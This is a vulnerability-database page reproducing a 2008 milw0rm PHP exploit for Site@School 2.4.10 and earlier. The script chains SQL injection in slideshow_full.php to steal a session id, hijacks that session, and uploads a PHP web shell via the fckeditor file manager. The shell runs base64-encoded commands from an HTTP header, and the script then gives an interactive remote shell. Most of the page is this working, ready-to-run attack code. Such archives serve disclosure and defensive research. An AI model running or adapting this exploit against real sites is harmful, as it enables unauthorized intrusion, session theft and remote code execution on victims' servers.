Lucene search
K

Site@School <= 2.4.10 (fckeditor) Session Hijacking / File Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Site@School <= 2.4.10 (fckeditor) Session Hijacking / File Upload Exploit by EgiX. Exploits a vulnerable code in /starnet/editors/fckeditor/editor/filemanager/sas/browser.php to upload malicious files with PHP code using session hijacking and SQL injection. Works with magic_quotes_gpc = off and Apache server with mod_mime module installed

Code

                                                &#60;?php

/*
	-------------------------------------------------------------------------
	Site@School &#60;= 2.4.10 (fckeditor) Session Hijacking / File Upload Exploit
	-------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://siteatschool.sourceforge.net/
	details..: works with magic_quotes_gpc = off (the bug isn&#39;t still patched: http://www.securityfocus.com/bid/27120)
	details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)
	
	[-] vulnerable code in /starnet/editors/fckeditor/editor/filemanager/sas/browser.php
	
	63.	$query = &#34;SELECT config_value FROM $table_configuration WHERE config_key=&#39;sessioncode&#39;&#34;;
	64.	if ($result = mysql_query($query))
	65.	{
	66.		$check_sessioncode = mysql_result($result, 0);
	67.		unset ($query);
	68.		unset ($result);
	69.	}
	70.	if ($_SESSION[&#39;sessioncode&#39;] != $check_sessioncode)
	71.	{
	72.		//if we don&#39;t have a session present the login screen
	73.		Header(&#34;Location: ../../../../../index.php&#34;);
	74.		exit;
	75.	}
	
	[...]
	
	117.	if ($option == &#34;upload&#34;)
	118.	{
	119.		if (IsSet ($_FILES[&#34;new_file&#34;][&#34;name&#34;]))
	120.		{
	121.			$file_name = $_FILES[&#34;new_file&#34;][&#34;name&#34;];
	122.		}
	123.		if (IsSet ($_SESSION[&#39;opendir&#39;]))
	124.		{
	125.			$write_path = $_SESSION[&#39;user_media_path&#39;] . &#34;/&#34; . $_SESSION[&#39;opendir&#39;];
	126.			// moveupload the file to $write_path, function is in core/common.inc.php
	127.			$temp_file = $_FILES[&#34;new_file&#34;][&#34;tmp_name&#34;]; //this is temporary uploaded file.	
	128.			sas_move_uploaded_file($write_path, $file_name, $temp_file);
	129.		}
	130.		$opendir = $_SESSION[&#39;opendir&#39;]; //for returning to the directory were we came from	
	131.	}
	
	an attacker could be able to retrieve a valid session id using the SQL injection bug in /starnet/addons/slideshow_full.php
	(http://www.milw0rm.com/exploits/4832) and bypass checks at lines 70-75 to upload malicious files containing php code!
*/

error_reporting(0);
ini_set(&#34;default_socket_timeout&#34;,5);
set_time_limit(0);

define(STDIN, fopen(&#34;php://stdin&#34;, &#34;r&#34;));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print &#34;\n[-] No response from {$host}:80 Trying again...\n&#34;;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function upload()
{
	global $host, $path, $sid;
	
	$file_ext = array(&#34;.fla&#34;, &#34;.swf&#34;, &#34;.rar&#34;, &#34;.zip&#34;, &#34;.xls&#34;, &#34;.csv&#34;);
	
	$packet  = &#34;GET {$path}starnet/editors/fckeditor/editor/filemanager/sas/images.php?opendir=gallery HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Cookie: PHPSESSID={$sid}\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;
	
	http_send($host, $packet);
	
	foreach ($file_ext as $ext)
	{
		print &#34;\n[-] Trying to upload with {$ext} extension...&#34;;
		
		$payload  = &#34;--o0oOo0o\r\n&#34;;
		$payload .= &#34;Content-Disposition: form-data; name=\&#34;new_file\&#34;; filename=\&#34;test.php{$ext}\&#34;\r\n\r\n&#34;;
		$payload .= &#34;&#60;?php \${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?&#62;\r\n&#34;;
		$payload .= &#34;--o0oOo0o--\r\n&#34;;

		$packet  = &#34;POST {$path}starnet/editors/fckeditor/editor/filemanager/sas/browser.php?option=upload HTTP/1.0\r\n&#34;;
		$packet .= &#34;Host: {$host}\r\n&#34;;
		$packet .= &#34;Cookie: PHPSESSID={$sid}\r\n&#34;;
		$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
		$packet .= &#34;Content-Type: multipart/form-data; boundary=o0oOo0o\r\n&#34;;
		$packet .= &#34;Connection: close\r\n\r\n&#34;;
		$packet .= $payload;

		if (preg_match(&#34;/File upload error/i&#34;, http_send($host, $packet))) die(&#34;\n[-] Upload failed!\n&#34;);
		
		$packet  = &#34;GET {$path}starnet/media/gallery/test.php{$ext} HTTP/1.0\r\n&#34;;
		$packet .= &#34;Host: {$host}\r\n&#34;;
		$packet .= &#34;Connection: close\r\n\r\n&#34;;
		$html    = http_send($host, $packet);
		
		if (!eregi(&#34;print&#34;, $html) and eregi(&#34;_code_&#34;, $html)) return $ext;
		
		sleep(1);
	}
	
	return false;
}

function get_sid()
{
	global $host, $path, $prefix;
	
	// thanks to rgod for giving to understand that this isn&#39;t blind injetion...r.i.p. my friend!
	$sql =  &#34;&#39;/**/UNION/**/SELECT/**/CONCAT(CHAR(0xFF),ses_id,CHAR(0xFF),CHAR(0x27)),1,1/**/&#34; .
		&#34;FROM/**/{$prefix}_sessions/**/WHERE/**/ses_value/**/LIKE/**/&#39;%sessioncode%&#39;%23&#34;;

	$packet  = &#34;GET {$path}starnet/addons/slideshow_full.php?album_name={$sql} HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;

	$pieces = explode(chr(0xFF), http_send($host, $packet));
	return $pieces[1];
}

function check_target()
{
	global $host, $path, $prefix;
	
	print &#34;\n[-] Checking {$host}...&#34;;
	
	$packet  = &#34;GET {$path}starnet/addons/slideshow_full.php?album_name=%27 HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;
	
	if (preg_match(&#34;/FROM (.*)_m/&#34;, http_send($host, $packet), $match)) print &#34;vulnerable!\n&#34;;
	else die(&#34;not vulnerable!\n\n[-] Exploit failed...probably magic_quotes_gpc = on\n&#34;);
	
	$prefix = $match[1];
}

print &#34;\n+-----------------------------------------------------------------------+&#34;;
print &#34;\n| Site@School &#60;= 2.4.10 Session Hijacking / File Upload Exploit by EgiX |&#34;;
print &#34;\n+-----------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
	print &#34;\nUsage...: php $argv[0] host path \n&#34;;
	print &#34;\nhost....: target server (ip/hostname)&#34;;
	print &#34;\npath....: path to sas directory\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];

check_target();
$sid = get_sid();

if (empty($sid)) die(&#34;\n[-] Session id not found! Try later...\n&#34;);
else print &#34;\n[-] Hijacking with sid {$sid}\n&#34;;

if (!($ext = upload())) die(&#34;\n[-] Exploit failed...\n&#34;);
else print &#34;\n[-] Shell uploaded...starting it!\n&#34;;

while(1)
{
	print &#34;\nsas-shell# &#34;;
	$cmd = trim(fgets(STDIN));
	if ($cmd != &#34;exit&#34;)
	{
		$packet = &#34;GET {$path}starnet/media/gallery/test.php{$ext} HTTP/1.0\r\n&#34;;
		$packet.= &#34;Host: {$host}\r\n&#34;;
		$packet.= &#34;Cmd: &#34;.base64_encode($cmd).&#34;\r\n&#34;;
		$packet.= &#34;Connection: close\r\n\r\n&#34;;
		$output = http_send($host, $packet);
		if (!preg_match(&#34;/_code_/&#34;, $output)) die(&#34;\n[-] Exploit failed...\n&#34;);
		$shell  = explode(&#34;_code_&#34;, $output);
		print &#34;\n{$shell[1]}&#34;;
	}
	else break;
}

?&#62;

# milw0rm.com [2008-07-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation